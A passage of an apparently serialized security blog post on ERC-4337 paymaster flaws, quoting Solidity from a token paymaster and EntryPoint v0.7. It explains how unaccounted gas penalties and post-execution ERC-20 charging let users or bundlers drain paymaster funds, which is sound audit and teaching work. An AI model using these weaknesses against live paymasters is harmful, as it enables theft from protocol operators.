",{"type":19,"tag":168,"props":101469,"children":101470},{"style":399},[101471],{"type":24,"value":101472},"-=",{"type":19,"tag":168,"props":101474,"children":101475},{"style":212},[101476],{"type":24,"value":101477}," baseFee; ",{"type":19,"tag":168,"props":101479,"children":101480},{"style":373},[101481],{"type":24,"value":101482},"// don't refund the base fee\n",{"type":19,"tag":168,"props":101484,"children":101485},{"class":170,"line":21287},[101486,101490,101495,101499,101504,101508,101512],{"type":19,"tag":168,"props":101487,"children":101488},{"style":825},[101489],{"type":24,"value":100615},{"type":19,"tag":168,"props":101491,"children":101492},{"style":212},[101493],{"type":24,"value":101494}," _cachedPrice ",{"type":19,"tag":168,"props":101496,"children":101497},{"style":399},[101498],{"type":24,"value":486},{"type":19,"tag":168,"props":101500,"children":101501},{"style":175},[101502],{"type":24,"value":101503}," updateCachedPrice",{"type":19,"tag":168,"props":101505,"children":101506},{"style":212},[101507],{"type":24,"value":500},{"type":19,"tag":168,"props":101509,"children":101510},{"style":382},[101511],{"type":24,"value":5612},{"type":19,"tag":168,"props":101513,"children":101514},{"style":212},[101515],{"type":24,"value":1249},{"type":19,"tag":168,"props":101517,"children":101518},{"class":170,"line":21300},[101519,101523,101527],{"type":19,"tag":168,"props":101520,"children":101521},{"style":373},[101522],{"type":24,"value":100867},{"type":19,"tag":168,"props":101524,"children":101525},{"style":382},[101526],{"type":24,"value":64245},{"type":19,"tag":168,"props":101528,"children":101529},{"style":373},[101530],{"type":24,"value":100876},{"type":19,"tag":168,"props":101532,"children":101533},{"class":170,"line":21313},[101534,101538,101542,101546,101550,101554,101558,101562],{"type":19,"tag":168,"props":101535,"children":101536},{"style":825},[101537],{"type":24,"value":100615},{"type":19,"tag":168,"props":101539,"children":101540},{"style":212},[101541],{"type":24,"value":100888},{"type":19,"tag":168,"props":101543,"children":101544},{"style":399},[101545],{"type":24,"value":486},{"type":19,"tag":168,"props":101547,"children":101548},{"style":212},[101549],{"type":24,"value":101494},{"type":19,"tag":168,"props":101551,"children":101552},{"style":399},[101553],{"type":24,"value":2002},{"type":19,"tag":168,"props":101555,"children":101556},{"style":212},[101557],{"type":24,"value":100906},{"type":19,"tag":168,"props":101559,"children":101560},{"style":399},[101561],{"type":24,"value":2012},{"type":19,"tag":168,"props":101563,"children":101564},{"style":212},[101565],{"type":24,"value":100915},{"type":19,"tag":168,"props":101567,"children":101568},{"class":170,"line":21326},[101569],{"type":19,"tag":168,"props":101570,"children":101571},{"style":373},[101572],{"type":24,"value":101573}," // Refund tokens based on actual gas cost\n",{"type":19,"tag":168,"props":101575,"children":101576},{"class":170,"line":21380},[101577,101581,101586,101590,101595,101599,101604,101608],{"type":19,"tag":168,"props":101578,"children":101579},{"style":825},[101580],{"type":24,"value":100615},{"type":19,"tag":168,"props":101582,"children":101583},{"style":212},[101584],{"type":24,"value":101585}," actualChargeNative ",{"type":19,"tag":168,"props":101587,"children":101588},{"style":399},[101589],{"type":24,"value":486},{"type":19,"tag":168,"props":101591,"children":101592},{"style":212},[101593],{"type":24,"value":101594}," actualGasCost ",{"type":19,"tag":168,"props":101596,"children":101597},{"style":399},[101598],{"type":24,"value":1811},{"type":19,"tag":168,"props":101600,"children":101601},{"style":212},[101602],{"type":24,"value":101603}," tokenPaymasterConfig.refundPostopCost ",{"type":19,"tag":168,"props":101605,"children":101606},{"style":399},[101607],{"type":24,"value":2002},{"type":19,"tag":168,"props":101609,"children":101610},{"style":212},[101611],{"type":24,"value":101612}," actualUserOpFeePerGas;\n",{"type":19,"tag":168,"props":101614,"children":101615},{"class":170,"line":21389},[101616,101620,101625,101629,101633],{"type":19,"tag":168,"props":101617,"children":101618},{"style":825},[101619],{"type":24,"value":100615},{"type":19,"tag":168,"props":101621,"children":101622},{"style":212},[101623],{"type":24,"value":101624}," actualTokenNeeded ",{"type":19,"tag":168,"props":101626,"children":101627},{"style":399},[101628],{"type":24,"value":486},{"type":19,"tag":168,"props":101630,"children":101631},{"style":175},[101632],{"type":24,"value":101090},{"type":19,"tag":168,"props":101634,"children":101635},{"style":212},[101636],{"type":24,"value":101637},"(actualChargeNative, cachedPriceWithMarkup);\n",{"type":19,"tag":168,"props":101639,"children":101640},{"class":170,"line":29753},[101641,101645,101650,101654],{"type":19,"tag":168,"props":101642,"children":101643},{"style":419},[101644],{"type":24,"value":56285},{"type":19,"tag":168,"props":101646,"children":101647},{"style":212},[101648],{"type":24,"value":101649}," (preCharge ",{"type":19,"tag":168,"props":101651,"children":101652},{"style":399},[101653],{"type":24,"value":7905},{"type":19,"tag":168,"props":101655,"children":101656},{"style":212},[101657],{"type":24,"value":101658}," actualTokenNeeded) {\n",{"type":19,"tag":168,"props":101660,"children":101661},{"class":170,"line":29774},[101662],{"type":19,"tag":168,"props":101663,"children":101664},{"style":373},[101665],{"type":24,"value":101666}," // If initially provided token amount is greater than the actual amount needed, refund the difference\n",{"type":19,"tag":168,"props":101668,"children":101669},{"class":170,"line":78440},[101670,101675,101680,101685,101689],{"type":19,"tag":168,"props":101671,"children":101672},{"style":212},[101673],{"type":24,"value":101674}," SafeERC20.",{"type":19,"tag":168,"props":101676,"children":101677},{"style":175},[101678],{"type":24,"value":101679},"safeTransfer",{"type":19,"tag":168,"props":101681,"children":101682},{"style":212},[101683],{"type":24,"value":101684},"(token, userOpSender, preCharge ",{"type":19,"tag":168,"props":101686,"children":101687},{"style":399},[101688],{"type":24,"value":1757},{"type":19,"tag":168,"props":101690,"children":101691},{"style":212},[101692],{"type":24,"value":101693}," actualTokenNeeded);\n",{"type":19,"tag":168,"props":101695,"children":101696},{"class":170,"line":78453},[101697,101701,101705,101709,101713,101717],{"type":19,"tag":168,"props":101698,"children":101699},{"style":212},[101700],{"type":24,"value":68081},{"type":19,"tag":168,"props":101702,"children":101703},{"style":419},[101704],{"type":24,"value":718},{"type":19,"tag":168,"props":101706,"children":101707},{"style":419},[101708],{"type":24,"value":13236},{"type":19,"tag":168,"props":101710,"children":101711},{"style":212},[101712],{"type":24,"value":101649},{"type":19,"tag":168,"props":101714,"children":101715},{"style":399},[101716],{"type":24,"value":3240},{"type":19,"tag":168,"props":101718,"children":101719},{"style":212},[101720],{"type":24,"value":101658},{"type":19,"tag":168,"props":101722,"children":101723},{"class":170,"line":78461},[101724],{"type":19,"tag":168,"props":101725,"children":101726},{"style":373},[101727],{"type":24,"value":101728}," // Attempt to cover Paymaster's gas expenses by withdrawing the 'overdraft' from the client\n",{"type":19,"tag":168,"props":101730,"children":101731},{"class":170,"line":78469},[101732],{"type":19,"tag":168,"props":101733,"children":101734},{"style":373},[101735],{"type":24,"value":101736}," // If the transfer reverts also revert the 'postOp' to remove the incentive to cheat\n",{"type":19,"tag":168,"props":101738,"children":101739},{"class":170,"line":78477},[101740,101744,101748,101753,101757,101761,101765,101770,101774],{"type":19,"tag":168,"props":101741,"children":101742},{"style":212},[101743],{"type":24,"value":101674},{"type":19,"tag":168,"props":101745,"children":101746},{"style":175},[101747],{"type":24,"value":101125},{"type":19,"tag":168,"props":101749,"children":101750},{"style":212},[101751],{"type":24,"value":101752},"(token, userOpSender, ",{"type":19,"tag":168,"props":101754,"children":101755},{"style":825},[101756],{"type":24,"value":30113},{"type":19,"tag":168,"props":101758,"children":101759},{"style":212},[101760],{"type":24,"value":500},{"type":19,"tag":168,"props":101762,"children":101763},{"style":382},[101764],{"type":24,"value":15143},{"type":19,"tag":168,"props":101766,"children":101767},{"style":212},[101768],{"type":24,"value":101769},"), actualTokenNeeded ",{"type":19,"tag":168,"props":101771,"children":101772},{"style":399},[101773],{"type":24,"value":1757},{"type":19,"tag":168,"props":101775,"children":101776},{"style":212},[101777],{"type":24,"value":101778}," preCharge);\n",{"type":19,"tag":168,"props":101780,"children":101781},{"class":170,"line":78517},[101782],{"type":19,"tag":168,"props":101783,"children":101784},{"style":212},[101785],{"type":24,"value":56369},{"type":19,"tag":168,"props":101787,"children":101788},{"class":170,"line":78525},[101789],{"type":19,"tag":168,"props":101790,"children":101791},{"emptyLinePlaceholder":14},[101792],{"type":24,"value":1093},{"type":19,"tag":168,"props":101794,"children":101795},{"class":170,"line":85712},[101796,101800,101805,101809,101813],{"type":19,"tag":168,"props":101797,"children":101798},{"style":419},[101799],{"type":24,"value":56285},{"type":19,"tag":168,"props":101801,"children":101802},{"style":212},[101803],{"type":24,"value":101804}," (baseFee ",{"type":19,"tag":168,"props":101806,"children":101807},{"style":399},[101808],{"type":24,"value":7905},{"type":19,"tag":168,"props":101810,"children":101811},{"style":192},[101812],{"type":24,"value":437},{"type":19,"tag":168,"props":101814,"children":101815},{"style":212},[101816],{"type":24,"value":12250},{"type":19,"tag":168,"props":101818,"children":101819},{"class":170,"line":85720},[101820,101824,101828],{"type":19,"tag":168,"props":101821,"children":101822},{"style":212},[101823],{"type":24,"value":101674},{"type":19,"tag":168,"props":101825,"children":101826},{"style":175},[101827],{"type":24,"value":101679},{"type":19,"tag":168,"props":101829,"children":101830},{"style":212},[101831],{"type":24,"value":101832},"(token, tokenPaymasterConfig.rewardsPool, baseFee);\n",{"type":19,"tag":168,"props":101834,"children":101835},{"class":170,"line":99064},[101836],{"type":19,"tag":168,"props":101837,"children":101838},{"style":212},[101839],{"type":24,"value":56369},{"type":19,"tag":168,"props":101841,"children":101842},{"class":170,"line":99072},[101843],{"type":19,"tag":168,"props":101844,"children":101845},{"emptyLinePlaceholder":14},[101846],{"type":24,"value":1093},{"type":19,"tag":168,"props":101848,"children":101849},{"class":170,"line":99080},[101850,101855,101860],{"type":19,"tag":168,"props":101851,"children":101852},{"style":419},[101853],{"type":24,"value":101854}," emit",{"type":19,"tag":168,"props":101856,"children":101857},{"style":175},[101858],{"type":24,"value":101859}," UserOperationSponsored",{"type":19,"tag":168,"props":101861,"children":101862},{"style":212},[101863],{"type":24,"value":101864},"(userOpSender, actualTokenNeeded, actualGasCost, cachedPriceWithMarkup, baseFee);\n",{"type":19,"tag":168,"props":101866,"children":101867},{"class":170,"line":99088},[101868,101873],{"type":19,"tag":168,"props":101869,"children":101870},{"style":175},[101871],{"type":24,"value":101872}," refillEntryPointDeposit",{"type":19,"tag":168,"props":101874,"children":101875},{"style":212},[101876],{"type":24,"value":101877},"(_cachedPrice);\n",{"type":19,"tag":168,"props":101879,"children":101880},{"class":170,"line":99116},[101881],{"type":19,"tag":168,"props":101882,"children":101883},{"style":212},[101884],{"type":24,"value":752},{"type":19,"tag":168,"props":101886,"children":101888},{"class":170,"line":101887},67,[101889],{"type":19,"tag":168,"props":101890,"children":101891},{"style":212},[101892],{"type":24,"value":761},{"type":19,"tag":168,"props":101894,"children":101896},{"class":170,"line":101895},68,[101897],{"type":19,"tag":168,"props":101898,"children":101899},{"style":212},[101900],{"type":24,"value":1326},{"type":19,"tag":20,"props":101902,"children":101903},{},[101904,101906,101912,101914,101919,101921,101927],{"type":24,"value":101905},"Looking at the code above, during ",{"type":19,"tag":27,"props":101907,"children":101909},{"className":101908},[],[101910],{"type":24,"value":101911},"validatePaymasterUserOp",{"type":24,"value":101913},", the paymaster attempts to charge a maximum prefund amount first. This prefund is calculated by taking the gas limit specified in the ",{"type":19,"tag":27,"props":101915,"children":101917},{"className":101916},[],[101918],{"type":24,"value":99970},{"type":24,"value":101920}," and applying a markup price to convert the native ETH cost into the equivalent ERC20-token value. Later in ",{"type":19,"tag":27,"props":101922,"children":101924},{"className":101923},[],[101925],{"type":24,"value":101926},"postOp",{"type":24,"value":101928},", the paymaster calculates the actual charge and refunds any excess from the prefund.",{"type":19,"tag":20,"props":101930,"children":101931},{},[101932,101934,101939,101941,101948],{"type":24,"value":101933},"However, there is a critical oversight: ",{"type":19,"tag":51,"props":101935,"children":101936},{},[101937],{"type":24,"value":101938},"the code does not account for gas penalties",{"type":24,"value":101940},". The actual gas charged to the paymaster includes not just the gas used, but also any ",{"type":19,"tag":269,"props":101942,"children":101945},{"href":101943,"rel":101944},"https://github.com/eth-infinitism/account-abstraction/blob/releases/v0.7/contracts/core/EntryPoint.sol#L726-L730",[273],[101946],{"type":24,"value":101947},"penalties incurred",{"type":24,"value":101949}," from differences between the execution gas limit and actual execution gas.",{"type":19,"tag":20,"props":101951,"children":101952},{},[101953],{"type":24,"value":101954},"This vulnerability can be exploited by malicious users who set an artificially high gas limit to trigger the penalty. When penalties are applied, the paymaster will be charged significantly more than expected, potentially draining its funds since these additional costs were not factored into the calculation.",{"type":19,"tag":20,"props":101956,"children":101957},{},[101958,101960,101965],{"type":24,"value":101959},"In fact, the bundler will be the one who receives the penalty paid by the paymaster. This means a bundler could submit their own ",{"type":19,"tag":27,"props":101961,"children":101963},{"className":101962},[],[101964],{"type":24,"value":99669},{"type":24,"value":101966}," to be executed by themselves and profit if the penalty they can extract from the paymaster exceeds their own gas costs paid to the paymaster. In SEND's case, fortunately, because they operate their own bundler, any penalties incurred flow back to their controlled bundler, creating a closed economic loop that mitigates this particular attack vector.",{"type":19,"tag":36,"props":101968,"children":101970},{"id":101969},"incorrect-erc-20-handling",[101971],{"type":19,"tag":51,"props":101972,"children":101973},{},[101974],{"type":24,"value":101975},"Incorrect ERC-20 Handling",{"type":19,"tag":20,"props":101977,"children":101978},{},[101979],{"type":24,"value":101980},"To improve user experience, some protocols introduced ERC-20 paymasters that allow users to pay transaction gas fees using ERC-20 tokens instead of native ETH (Just like what SEND did in the above code). The core concept is quite straightforward, the paymaster fronts the ETH gas costs to bundlers, then charges users an equivalent amount in ERC-20 tokens based on current market rates. However, implementing this token-to-ETH conversion and payment flow securely requires careful consideration.",{"type":19,"tag":20,"props":101982,"children":101983},{},[101984,101985,101990,101992,101997],{"type":24,"value":42777},{"type":19,"tag":27,"props":101986,"children":101988},{"className":101987},[],[101989],{"type":24,"value":99750},{"type":24,"value":101991}," flow above, we can see that paymasters have two key interaction points during a ",{"type":19,"tag":27,"props":101993,"children":101995},{"className":101994},[],[101996],{"type":24,"value":99669},{"type":24,"value":101998},"'s lifecycle:",{"type":19,"tag":2869,"props":102000,"children":102001},{},[102002,102012],{"type":19,"tag":47,"props":102003,"children":102004},{},[102005,102007],{"type":24,"value":102006},"During validation via ",{"type":19,"tag":27,"props":102008,"children":102010},{"className":102009},[],[102011],{"type":24,"value":99857},{"type":19,"tag":47,"props":102013,"children":102014},{},[102015,102017],{"type":24,"value":102016},"After execution via ",{"type":19,"tag":27,"props":102018,"children":102020},{"className":102019},[],[102021],{"type":24,"value":99868},{"type":19,"tag":20,"props":102023,"children":102024},{},[102025],{"type":24,"value":102026},"This dual-interaction model has led to two predominant patterns for handling ERC-20 payments in paymaster implementations:",{"type":19,"tag":7050,"props":102028,"children":102030},{"id":102029},"_1-pre-payment-with-refund-pattern",[102031],{"type":24,"value":102032},"1. Pre-Payment with Refund Pattern",{"type":19,"tag":20,"props":102034,"children":102035},{},[102036,102038,102043,102045,102050,102052,102058,102059,102065,102067,102072,102074,102079,102081,102086],{"type":24,"value":102037},"In this model, the paymaster requires users to pre-pay the maximum possible gas cost in ERC-20 tokens during ",{"type":19,"tag":27,"props":102039,"children":102041},{"className":102040},[],[102042],{"type":24,"value":99857},{"type":24,"value":102044},". After execution completes, ",{"type":19,"tag":27,"props":102046,"children":102048},{"className":102047},[],[102049],{"type":24,"value":99868},{"type":24,"value":102051}," refunds any excess tokens based on actual gas consumed. This is analogous to how regular ETH gas payments work. Several protocols like ",{"type":19,"tag":27,"props":102053,"children":102055},{"className":102054},[],[102056],{"type":24,"value":102057},"SEND",{"type":24,"value":8436},{"type":19,"tag":27,"props":102060,"children":102062},{"className":102061},[],[102063],{"type":24,"value":102064},"Circle",{"type":24,"value":102066}," have implemented this approach. However, this pattern has one key disadvantage: users must first approve the paymaster to spend their ERC20 tokens before submitting any ",{"type":19,"tag":27,"props":102068,"children":102070},{"className":102069},[],[102071],{"type":24,"value":99698},{"type":24,"value":102073},". This additional setup step is required to ensure the paymaster can successfully deduct tokens ",{"type":19,"tag":51,"props":102075,"children":102076},{},[102077],{"type":24,"value":102078},"before",{"type":24,"value":102080}," execution (specifically during ",{"type":19,"tag":27,"props":102082,"children":102084},{"className":102083},[],[102085],{"type":24,"value":101911},{"type":24,"value":18197},{"type":19,"tag":7050,"props":102088,"children":102090},{"id":102089},"_2-post-execution-charging-pattern",[102091],{"type":24,"value":102092},"2. Post-Execution Charging Pattern",{"type":19,"tag":20,"props":102094,"children":102095},{},[102096,102098,102103,102105,102110,102112,102117,102119,102124],{"type":24,"value":102097},"This alternative approach defers token collection until after execution. Instead of charging a prefund during ",{"type":19,"tag":27,"props":102099,"children":102101},{"className":102100},[],[102102],{"type":24,"value":99857},{"type":24,"value":102104},", the actual token payment is calculated and collected in ",{"type":19,"tag":27,"props":102106,"children":102108},{"className":102107},[],[102109],{"type":24,"value":99868},{"type":24,"value":102111}," based on the exact gas consumed. At first glance, this appears to be the most user-friendly pattern since users can bundle their token approval transaction within the same ",{"type":19,"tag":27,"props":102113,"children":102115},{"className":102114},[],[102116],{"type":24,"value":99669},{"type":24,"value":102118},", eliminating the need for a separate pre-approval transaction before submitting the ",{"type":19,"tag":27,"props":102120,"children":102122},{"className":102121},[],[102123],{"type":24,"value":99970},{"type":24,"value":102125},". This means users could interact with the paymaster without any prior setup.",{"type":19,"tag":20,"props":102127,"children":102128},{},[102129,102131,102136,102138,102144,102146,102152,102154,102159],{"type":24,"value":102130},"This approach used to work in ",{"type":19,"tag":27,"props":102132,"children":102134},{"className":102133},[],[102135],{"type":24,"value":99750},{"type":24,"value":102137}," version ",{"type":19,"tag":27,"props":102139,"children":102141},{"className":102140},[],[102142],{"type":24,"value":102143},"v0.6",{"type":24,"value":102145},", but the pattern no longer works in ",{"type":19,"tag":27,"props":102147,"children":102149},{"className":102148},[],[102150],{"type":24,"value":102151},"v0.7",{"type":24,"value":102153},". In fact, using this pattern can lead to loss of funds for the paymaster. Let's take a closer look at how ",{"type":19,"tag":27,"props":102155,"children":102157},{"className":102156},[],[102158],{"type":24,"value":102151},{"type":24,"value":102160}," handles the execution phase:",{"type":19,"tag":158,"props":102162,"children":102164},{"className":1905,"code":102163,"language":1904,"meta":7,"style":7}," function _executeUserOp(\n uint256 opIndex,\n PackedUserOperation calldata userOp,\n UserOpInfo memory opInfo\n )\n internal virtual\n returns (uint256 collected) {\n [...]\n bool success;\n {\n [...]\n if (methodSig == IAccountExecute.executeUserOp.selector) {\n bytes memory executeUserOp = abi.encodeCall(IAccountExecute.executeUserOp, (userOp, opInfo.userOpHash));\n innerCall = abi.encodeCall(this.innerHandleOp, (executeUserOp, opInfo, context));\n } else\n {\n innerCall = abi.encodeCall(this.innerHandleOp, (callData, opInfo, context));\n }\n assembly (\"memory-safe\") {\n success := call(gas(), address(), 0, add(innerCall, 0x20), mload(innerCall), 0, 32)\n collected := mload(0)\n }\n _restoreFreePtr(saveFreePtr);\n }\n if (!success) {\n [...]\n if (innerRevertCode == INNER_OUT_OF_GAS) {\n // handleOps was called with gas limit too low. abort entire bundle.\n // can only be caused by bundler (leaving not enough gas for inner call)\n revert FailedOp(opIndex, \"AA95 out of gas\");\n } else if (innerRevertCode == INNER_REVERT_LOW_PREFUND) {\n // innerCall reverted on prefund too low. treat entire prefund as \"gas cost\"\n uint256 actualGas = preGas - gasleft() + opInfo.preOpGas;\n uint256 actualGasCost = opInfo.prefund;\n _emitPrefundTooLow(opInfo);\n _emitUserOperationEvent(opInfo, false, actualGasCost, actualGas);\n collected = actualGasCost;\n } else {\n [...]\n collected = _postExecution(\n IPaymaster.PostOpMode.postOpReverted,\n opInfo,\n context,\n actualGas\n );\n }\n }\n }\n",[102165],{"type":19,"tag":27,"props":102166,"children":102167},{"__ignoreMap":7},[102168,102184,102200,102220,102237,102244,102257,102281,102289,102302,102309,102316,102337,102376,102413,102425,102432,102468,102475,102496,102585,102614,102621,102634,102641,102661,102668,102689,102697,102705,102732,102760,102768,102811,102831,102844,102866,102882,102897,102904,102924,102932,102940,102948,102956,102964,102971,102978],{"type":19,"tag":168,"props":102169,"children":102170},{"class":170,"line":171},[102171,102175,102180],{"type":19,"tag":168,"props":102172,"children":102173},{"style":382},[102174],{"type":24,"value":87320},{"type":19,"tag":168,"props":102176,"children":102177},{"style":175},[102178],{"type":24,"value":102179}," _executeUserOp",{"type":19,"tag":168,"props":102181,"children":102182},{"style":212},[102183],{"type":24,"value":870},{"type":19,"tag":168,"props":102185,"children":102186},{"class":170,"line":198},[102187,102191,102196],{"type":19,"tag":168,"props":102188,"children":102189},{"style":825},[102190],{"type":24,"value":87498},{"type":19,"tag":168,"props":102192,"children":102193},{"style":393},[102194],{"type":24,"value":102195}," opIndex",{"type":19,"tag":168,"props":102197,"children":102198},{"style":212},[102199],{"type":24,"value":915},{"type":19,"tag":168,"props":102201,"children":102202},{"class":170,"line":415},[102203,102208,102212,102216],{"type":19,"tag":168,"props":102204,"children":102205},{"style":382},[102206],{"type":24,"value":102207}," PackedUserOperation",{"type":19,"tag":168,"props":102209,"children":102210},{"style":382},[102211],{"type":24,"value":100499},{"type":19,"tag":168,"props":102213,"children":102214},{"style":393},[102215],{"type":24,"value":100504},{"type":19,"tag":168,"props":102217,"children":102218},{"style":212},[102219],{"type":24,"value":915},{"type":19,"tag":168,"props":102221,"children":102222},{"class":170,"line":450},[102223,102228,102232],{"type":19,"tag":168,"props":102224,"children":102225},{"style":382},[102226],{"type":24,"value":102227}," UserOpInfo",{"type":19,"tag":168,"props":102229,"children":102230},{"style":382},[102231],{"type":24,"value":100567},{"type":19,"tag":168,"props":102233,"children":102234},{"style":393},[102235],{"type":24,"value":102236}," opInfo\n",{"type":19,"tag":168,"props":102238,"children":102239},{"class":170,"line":560},[102240],{"type":19,"tag":168,"props":102241,"children":102242},{"style":212},[102243],{"type":24,"value":21386},{"type":19,"tag":168,"props":102245,"children":102246},{"class":170,"line":666},[102247,102252],{"type":19,"tag":168,"props":102248,"children":102249},{"style":382},[102250],{"type":24,"value":102251}," internal",{"type":19,"tag":168,"props":102253,"children":102254},{"style":382},[102255],{"type":24,"value":102256}," virtual\n",{"type":19,"tag":168,"props":102258,"children":102259},{"class":170,"line":694},[102260,102264,102268,102272,102277],{"type":19,"tag":168,"props":102261,"children":102262},{"style":419},[102263],{"type":24,"value":43990},{"type":19,"tag":168,"props":102265,"children":102266},{"style":212},[102267],{"type":24,"value":461},{"type":19,"tag":168,"props":102269,"children":102270},{"style":825},[102271],{"type":24,"value":43649},{"type":19,"tag":168,"props":102273,"children":102274},{"style":393},[102275],{"type":24,"value":102276}," collected",{"type":19,"tag":168,"props":102278,"children":102279},{"style":212},[102280],{"type":24,"value":12250},{"type":19,"tag":168,"props":102282,"children":102283},{"class":170,"line":707},[102284],{"type":19,"tag":168,"props":102285,"children":102286},{"style":212},[102287],{"type":24,"value":102288}," [...]\n",{"type":19,"tag":168,"props":102290,"children":102291},{"class":170,"line":725},[102292,102297],{"type":19,"tag":168,"props":102293,"children":102294},{"style":825},[102295],{"type":24,"value":102296}," bool",{"type":19,"tag":168,"props":102298,"children":102299},{"style":212},[102300],{"type":24,"value":102301}," success;\n",{"type":19,"tag":168,"props":102303,"children":102304},{"class":170,"line":746},[102305],{"type":19,"tag":168,"props":102306,"children":102307},{"style":212},[102308],{"type":24,"value":29131},{"type":19,"tag":168,"props":102310,"children":102311},{"class":170,"line":755},[102312],{"type":19,"tag":168,"props":102313,"children":102314},{"style":212},[102315],{"type":24,"value":102288},{"type":19,"tag":168,"props":102317,"children":102318},{"class":170,"line":1008},[102319,102323,102328,102332],{"type":19,"tag":168,"props":102320,"children":102321},{"style":419},[102322],{"type":24,"value":56285},{"type":19,"tag":168,"props":102324,"children":102325},{"style":212},[102326],{"type":24,"value":102327}," (methodSig ",{"type":19,"tag":168,"props":102329,"children":102330},{"style":399},[102331],{"type":24,"value":6013},{"type":19,"tag":168,"props":102333,"children":102334},{"style":212},[102335],{"type":24,"value":102336}," IAccountExecute.executeUserOp.selector) {\n",{"type":19,"tag":168,"props":102338,"children":102339},{"class":170,"line":1025},[102340,102345,102349,102354,102358,102362,102366,102371],{"type":19,"tag":168,"props":102341,"children":102342},{"style":825},[102343],{"type":24,"value":102344}," bytes",{"type":19,"tag":168,"props":102346,"children":102347},{"style":382},[102348],{"type":24,"value":100567},{"type":19,"tag":168,"props":102350,"children":102351},{"style":212},[102352],{"type":24,"value":102353}," executeUserOp ",{"type":19,"tag":168,"props":102355,"children":102356},{"style":399},[102357],{"type":24,"value":486},{"type":19,"tag":168,"props":102359,"children":102360},{"style":382},[102361],{"type":24,"value":101164},{"type":19,"tag":168,"props":102363,"children":102364},{"style":212},[102365],{"type":24,"value":948},{"type":19,"tag":168,"props":102367,"children":102368},{"style":175},[102369],{"type":24,"value":102370},"encodeCall",{"type":19,"tag":168,"props":102372,"children":102373},{"style":212},[102374],{"type":24,"value":102375},"(IAccountExecute.executeUserOp, (userOp, opInfo.userOpHash));\n",{"type":19,"tag":168,"props":102377,"children":102378},{"class":170,"line":1042},[102379,102384,102388,102392,102396,102400,102404,102408],{"type":19,"tag":168,"props":102380,"children":102381},{"style":212},[102382],{"type":24,"value":102383}," innerCall ",{"type":19,"tag":168,"props":102385,"children":102386},{"style":399},[102387],{"type":24,"value":486},{"type":19,"tag":168,"props":102389,"children":102390},{"style":382},[102391],{"type":24,"value":101164},{"type":19,"tag":168,"props":102393,"children":102394},{"style":212},[102395],{"type":24,"value":948},{"type":19,"tag":168,"props":102397,"children":102398},{"style":175},[102399],{"type":24,"value":102370},{"type":19,"tag":168,"props":102401,"children":102402},{"style":212},[102403],{"type":24,"value":500},{"type":19,"tag":168,"props":102405,"children":102406},{"style":382},[102407],{"type":24,"value":15143},{"type":19,"tag":168,"props":102409,"children":102410},{"style":212},[102411],{"type":24,"value":102412},".innerHandleOp, (executeUserOp, opInfo, context));\n",{"type":19,"tag":168,"props":102414,"children":102415},{"class":170,"line":1055},[102416,102420],{"type":19,"tag":168,"props":102417,"children":102418},{"style":212},[102419],{"type":24,"value":68081},{"type":19,"tag":168,"props":102421,"children":102422},{"style":419},[102423],{"type":24,"value":102424},"else\n",{"type":19,"tag":168,"props":102426,"children":102427},{"class":170,"line":1064},[102428],{"type":19,"tag":168,"props":102429,"children":102430},{"style":212},[102431],{"type":24,"value":29167},{"type":19,"tag":168,"props":102433,"children":102434},{"class":170,"line":1087},[102435,102439,102443,102447,102451,102455,102459,102463],{"type":19,"tag":168,"props":102436,"children":102437},{"style":212},[102438],{"type":24,"value":102383},{"type":19,"tag":168,"props":102440,"children":102441},{"style":399},[102442],{"type":24,"value":486},{"type":19,"tag":168,"props":102444,"children":102445},{"style":382},[102446],{"type":24,"value":101164},{"type":19,"tag":168,"props":102448,"children":102449},{"style":212},[102450],{"type":24,"value":948},{"type":19,"tag":168,"props":102452,"children":102453},{"style":175},[102454],{"type":24,"value":102370},{"type":19,"tag":168,"props":102456,"children":102457},{"style":212},[102458],{"type":24,"value":500},{"type":19,"tag":168,"props":102460,"children":102461},{"style":382},[102462],{"type":24,"value":15143},{"type":19,"tag":168,"props":102464,"children":102465},{"style":212},[102466],{"type":24,"value":102467},".innerHandleOp, (callData, opInfo, context));\n",{"type":19,"tag":168,"props":102469,"children":102470},{"class":170,"line":1096},[102471],{"type":19,"tag":168,"props":102472,"children":102473},{"style":212},[102474],{"type":24,"value":56369},{"type":19,"tag":168,"props":102476,"children":102477},{"class":170,"line":1105},[102478,102483,102487,102492],{"type":19,"tag":168,"props":102479,"children":102480},{"style":175},[102481],{"type":24,"value":102482}," assembly",{"type":19,"tag":168,"props":102484,"children":102485},{"style":212},[102486],{"type":24,"value":461},{"type":19,"tag":168,"props":102488,"children":102489},{"style":181},[102490],{"type":24,"value":102491},"\"memory-safe\"",{"type":19,"tag":168,"props":102493,"children":102494},{"style":212},[102495],{"type":24,"value":12250},{"type":19,"tag":168,"props":102497,"children":102498},{"class":170,"line":1174},[102499,102504,102508,102512,102516,102521,102525,102529,102533,102537,102541,102545,102550,102555,102559,102564,102569,102573,102577,102581],{"type":19,"tag":168,"props":102500,"children":102501},{"style":212},[102502],{"type":24,"value":102503}," success ",{"type":19,"tag":168,"props":102505,"children":102506},{"style":399},[102507],{"type":24,"value":19062},{"type":19,"tag":168,"props":102509,"children":102510},{"style":175},[102511],{"type":24,"value":38439},{"type":19,"tag":168,"props":102513,"children":102514},{"style":212},[102515],{"type":24,"value":500},{"type":19,"tag":168,"props":102517,"children":102518},{"style":175},[102519],{"type":24,"value":102520},"gas",{"type":19,"tag":168,"props":102522,"children":102523},{"style":212},[102524],{"type":24,"value":15826},{"type":19,"tag":168,"props":102526,"children":102527},{"style":825},[102528],{"type":24,"value":30113},{"type":19,"tag":168,"props":102530,"children":102531},{"style":212},[102532],{"type":24,"value":15826},{"type":19,"tag":168,"props":102534,"children":102535},{"style":192},[102536],{"type":24,"value":1452},{"type":19,"tag":168,"props":102538,"children":102539},{"style":212},[102540],{"type":24,"value":471},{"type":19,"tag":168,"props":102542,"children":102543},{"style":175},[102544],{"type":24,"value":7080},{"type":19,"tag":168,"props":102546,"children":102547},{"style":212},[102548],{"type":24,"value":102549},"(innerCall, ",{"type":19,"tag":168,"props":102551,"children":102552},{"style":192},[102553],{"type":24,"value":102554},"0x20",{"type":19,"tag":168,"props":102556,"children":102557},{"style":212},[102558],{"type":24,"value":12624},{"type":19,"tag":168,"props":102560,"children":102561},{"style":175},[102562],{"type":24,"value":102563},"mload",{"type":19,"tag":168,"props":102565,"children":102566},{"style":212},[102567],{"type":24,"value":102568},"(innerCall), 